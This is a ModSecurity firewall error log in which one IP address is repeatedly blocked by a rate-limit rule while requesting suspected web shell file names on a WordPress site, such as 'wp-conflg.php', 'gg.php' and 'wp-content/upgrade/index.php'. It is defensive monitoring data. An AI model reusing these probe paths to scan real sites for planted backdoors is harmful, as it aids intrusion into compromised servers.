[Fri Apr 03 01:39:31.057555 2026] [:error] [pid 25035:tid 25447] [client 20.215.208.34:59933] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bkxzo.php"] [unique_id "ac6p0xhR292toNOkLqG54gAAAIU"]
[Fri Apr 03 01:39:31.577376 2026] [:error] [pid 25470:tid 25483] [client 20.215.208.34:60630] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bkxzo.php"] [unique_id "ac6p03hROcck6_9HYygeqAAAAMs"]
[Fri Apr 03 01:39:32.091252 2026] [:error] [pid 25470:tid 25488] [client 20.215.208.34:59415] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bkxzo.php"] [unique_id "ac6p1HhROcck6_9HYygerQAAANA"]
[Fri Apr 03 01:39:32.605694 2026] [:error] [pid 25035:tid 25451] [client 20.215.208.34:59486] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bkxzo.php"] [unique_id "ac6p1BhR292toNOkLqG56QAAAIk"]
[Fri Apr 03 01:39:33.160559 2026] [:error] [pid 25010:tid 25365] [client 20.215.208.34:61895] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lo.php"] [unique_id "ac6p1Y_KcjFQF5TuqTWtXgAAABA"]
[Fri Apr 03 01:39:33.743376 2026] [:error] [pid 25035:tid 25462] [client 20.215.208.34:63455] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lo.php"] [unique_id "ac6p1RhR292toNOkLqG57wAAAJQ"]
[Fri Apr 03 01:39:34.329400 2026] [:error] [pid 25035:tid 25464] [client 20.215.208.34:60011] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lo.php"] [unique_id "ac6p1hhR292toNOkLqG58AAAAJY"]
[Fri Apr 03 01:39:34.866048 2026] [:error] [pid 25035:tid 25455] [client 20.215.208.34:61950] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lo.php"] [unique_id "ac6p1hhR292toNOkLqG58gAAAI0"]
[Fri Apr 03 01:39:35.391731 2026] [:error] [pid 25470:tid 25480] [client 20.215.208.34:61874] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "ac6p13hROcck6_9HYygewAAAAMg"]
[Fri Apr 03 01:39:35.920333 2026] [:error] [pid 25018:tid 25424] [client 20.215.208.34:61863] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "ac6p13upR6lXnAUzFGr69wAAAEs"]
[Fri Apr 03 01:39:36.444543 2026] [:error] [pid 25018:tid 25428] [client 20.215.208.34:63486] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "ac6p2HupR6lXnAUzFGr6_gAAAE8"]
[Fri Apr 03 01:39:36.982932 2026] [:error] [pid 25035:tid 25462] [client 20.215.208.34:63373] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "ac6p2BhR292toNOkLqG5-QAAAJQ"]
[Fri Apr 03 01:39:37.496847 2026] [:error] [pid 25035:tid 25454] [client 20.215.208.34:60553] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "ac6p2RhR292toNOkLqG5_gAAAIw"]
[Fri Apr 03 01:39:38.044628 2026] [:error] [pid 25010:tid 25373] [client 20.215.208.34:64994] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "ac6p2o_KcjFQF5TuqTWtbQAAABg"]
[Fri Apr 03 01:39:38.697932 2026] [:error] [pid 25010:tid 25358] [client 20.215.208.34:64945] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "ac6p2o_KcjFQF5TuqTWtcgAAAAo"]
[Fri Apr 03 01:39:39.324695 2026] [:error] [pid 25018:tid 25420] [client 20.215.208.34:59961] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/layout.php"] [unique_id "ac6p23upR6lXnAUzFGr7BAAAAEc"]
[Fri Apr 03 01:39:39.896313 2026] [:error] [pid 25470:tid 25493] [client 20.215.208.34:63404] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "ac6p23hROcck6_9HYygeyAAAANU"]
[Fri Apr 03 01:39:40.520985 2026] [:error] [pid 25035:tid 25453] [client 20.215.208.34:59976] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "ac6p3BhR292toNOkLqG6DwAAAIs"]
[Fri Apr 03 01:39:41.045939 2026] [:error] [pid 25035:tid 25455] [client 20.215.208.34:59934] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "ac6p3RhR292toNOkLqG6FQAAAI0"]
[Fri Apr 03 01:39:41.698508 2026] [:error] [pid 25035:tid 25460] [client 20.215.208.34:60667] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "ac6p3RhR292toNOkLqG6HAAAAJI"]
[Fri Apr 03 01:39:42.293575 2026] [:error] [pid 25470:tid 25476] [client 20.215.208.34:58664] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac6p3nhROcck6_9HYyge1AAAAMQ"]
[Fri Apr 03 01:39:42.871346 2026] [:error] [pid 25470:tid 25483] [client 20.215.208.34:64979] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac6p3nhROcck6_9HYyge3AAAAMs"]
[Fri Apr 03 01:39:43.421993 2026] [:error] [pid 25470:tid 25487] [client 20.215.208.34:63473] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac6p33hROcck6_9HYyge4QAAAM8"]
[Fri Apr 03 01:39:43.943482 2026] [:error] [pid 25018:tid 25427] [client 20.215.208.34:60658] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac6p33upR6lXnAUzFGr7CAAAAE4"]
[Fri Apr 03 01:39:44.571874 2026] [:error] [pid 25470:tid 25495] [client 20.215.208.34:60607] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "ac6p4HhROcck6_9HYyge5wAAANc"]
[Fri Apr 03 01:39:45.124040 2026] [:error] [pid 25010:tid 25368] [client 20.215.208.34:59908] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "ac6p4Y_KcjFQF5TuqTWtfQAAABM"]
[Fri Apr 03 01:39:45.765358 2026] [:error] [pid 25010:tid 25370] [client 20.215.208.34:61867] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "ac6p4Y_KcjFQF5TuqTWtgQAAABU"]
[Fri Apr 03 01:39:46.358064 2026] [:error] [pid 25470:tid 25476] [client 20.215.208.34:59446] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "ac6p4nhROcck6_9HYyge8gAAAMQ"]
[Fri Apr 03 01:39:46.879690 2026] [:error] [pid 25470:tid 25477] [client 20.215.208.34:65008] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-configs.php"] [unique_id "ac6p4nhROcck6_9HYyge-QAAAMU"]
[Fri Apr 03 01:39:47.412827 2026] [:error] [pid 25018:tid 25437] [client 20.215.208.34:63451] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-configs.php"] [unique_id "ac6p43upR6lXnAUzFGr7EQAAAFg"]
[Fri Apr 03 01:39:48.017716 2026] [:error] [pid 25010:tid 25365] [client 20.215.208.34:60570] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-configs.php"] [unique_id "ac6p5I_KcjFQF5TuqTWtggAAABA"]
[Fri Apr 03 01:39:48.660951 2026] [:error] [pid 25010:tid 25357] [client 20.215.208.34:61896] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-configs.php"] [unique_id "ac6p5I_KcjFQF5TuqTWtgwAAAAk"]
[Fri Apr 03 01:39:49.279148 2026] [:error] [pid 25010:tid 25367] [client 20.215.208.34:64904] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yas.php"] [unique_id "ac6p5Y_KcjFQF5TuqTWtiAAAABI"]
[Fri Apr 03 01:39:49.901914 2026] [:error] [pid 25010:tid 25347] [client 20.215.208.34:64970] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yas.php"] [unique_id "ac6p5Y_KcjFQF5TuqTWtjQAAAAA"]
[Fri Apr 03 01:39:50.430354 2026] [:error] [pid 25470:tid 25490] [client 20.215.208.34:64972] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yas.php"] [unique_id "ac6p5nhROcck6_9HYygfBAAAANI"]
[Fri Apr 03 01:39:51.084475 2026] [:error] [pid 25035:tid 25464] [client 20.215.208.34:60593] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yas.php"] [unique_id "ac6p5xhR292toNOkLqG6KgAAAJY"]
[Fri Apr 03 01:39:51.605191 2026] [:error] [pid 25470:tid 25472] [client 20.215.208.34:59946] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "ac6p53hROcck6_9HYygfDgAAAMA"]
[Fri Apr 03 01:39:52.137206 2026] [:error] [pid 25470:tid 25492] [client 20.215.208.34:59912] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "ac6p6HhROcck6_9HYygfEgAAANQ"]
[Fri Apr 03 01:39:52.665226 2026] [:error] [pid 25470:tid 25486] [client 20.215.208.34:63461] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "ac6p6HhROcck6_9HYygfFgAAAM4"]
[Fri Apr 03 01:39:53.207608 2026] [:error] [pid 25035:tid 25462] [client 20.215.208.34:63410] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "ac6p6RhR292toNOkLqG6MAAAAJQ"]
[Fri Apr 03 01:39:53.805227 2026] [:error] [pid 25010:tid 25358] [client 20.215.208.34:60668] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "ac6p6Y_KcjFQF5TuqTWtmgAAAAo"]
[Fri Apr 03 01:39:54.367720 2026] [:error] [pid 25035:tid 25463] [client 20.215.208.34:60634] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "ac6p6hhR292toNOkLqG6NwAAAJU"]
[Fri Apr 03 01:39:54.928433 2026] [:error] [pid 25035:tid 25457] [client 20.215.208.34:60650] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "ac6p6hhR292toNOkLqG6OgAAAI8"]
[Fri Apr 03 01:39:55.598833 2026] [:error] [pid 25018:tid 25417] [client 20.215.208.34:61911] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "ac6p63upR6lXnAUzFGr7HgAAAEQ"]
[Fri Apr 03 01:39:56.110669 2026] [:error] [pid 25470:tid 25494] [client 20.215.208.34:58732] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "ac6p7HhROcck6_9HYygfIwAAANY"]
[Fri Apr 03 01:39:56.713781 2026] [:error] [pid 25010:tid 25357] [client 20.215.208.34:59978] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "ac6p7I_KcjFQF5TuqTWtnQAAAAk"]
[Fri Apr 03 01:39:57.348134 2026] [:error] [pid 25470:tid 25491] [client 20.215.208.34:65010] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "ac6p7XhROcck6_9HYygfMAAAANM"]
[Fri Apr 03 01:39:57.899640 2026] [:error] [pid 25035:tid 25464] [client 20.215.208.34:61831] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/index.php"] [unique_id "ac6p7RhR292toNOkLqG6RAAAAJY"]
[Fri Apr 03 01:39:58.430334 2026] [:error] [pid 25010:tid 25362] [client 20.215.208.34:59931] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "ac6p7o_KcjFQF5TuqTWtoAAAAA0"]
[Fri Apr 03 01:39:58.984567 2026] [:error] [pid 25018:tid 25427] [client 20.215.208.34:61886] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "ac6p7nupR6lXnAUzFGr7JQAAAE4"]
[Fri Apr 03 01:39:59.502154 2026] [:error] [pid 25470:tid 25476] [client 20.215.208.34:63413] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "ac6p73hROcck6_9HYygfPwAAAMQ"]
[Fri Apr 03 01:40:00.053448 2026] [:error] [pid 25035:tid 25450] [client 20.215.208.34:65016] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "ac6p8BhR292toNOkLqG6SQAAAIg"]
[Fri Apr 03 01:40:00.724081 2026] [:error] [pid 25470:tid 25490] [client 20.215.208.34:64906] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade/index.php"] [unique_id "ac6p8HhROcck6_9HYygfRAAAANI"]
[Fri Apr 03 01:40:01.246538 2026] [:error] [pid 25018:tid 25422] [client 20.215.208.34:60551] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade/index.php"] [unique_id "ac6p8XupR6lXnAUzFGr7LgAAAEk"]
[Fri Apr 03 01:40:01.842281 2026] [:error] [pid 25035:tid 25466] [client 20.215.208.34:59929] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade/index.php"] [unique_id "ac6p8RhR292toNOkLqG6TAAAAJg"]
[Fri Apr 03 01:40:02.388746 2026] [:error] [pid 25010:tid 25371] [client 20.215.208.34:63419] [client 20.215.208.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade/index.php"] [unique_id "ac6p8o_KcjFQF5TuqTWtrgAAABY"]
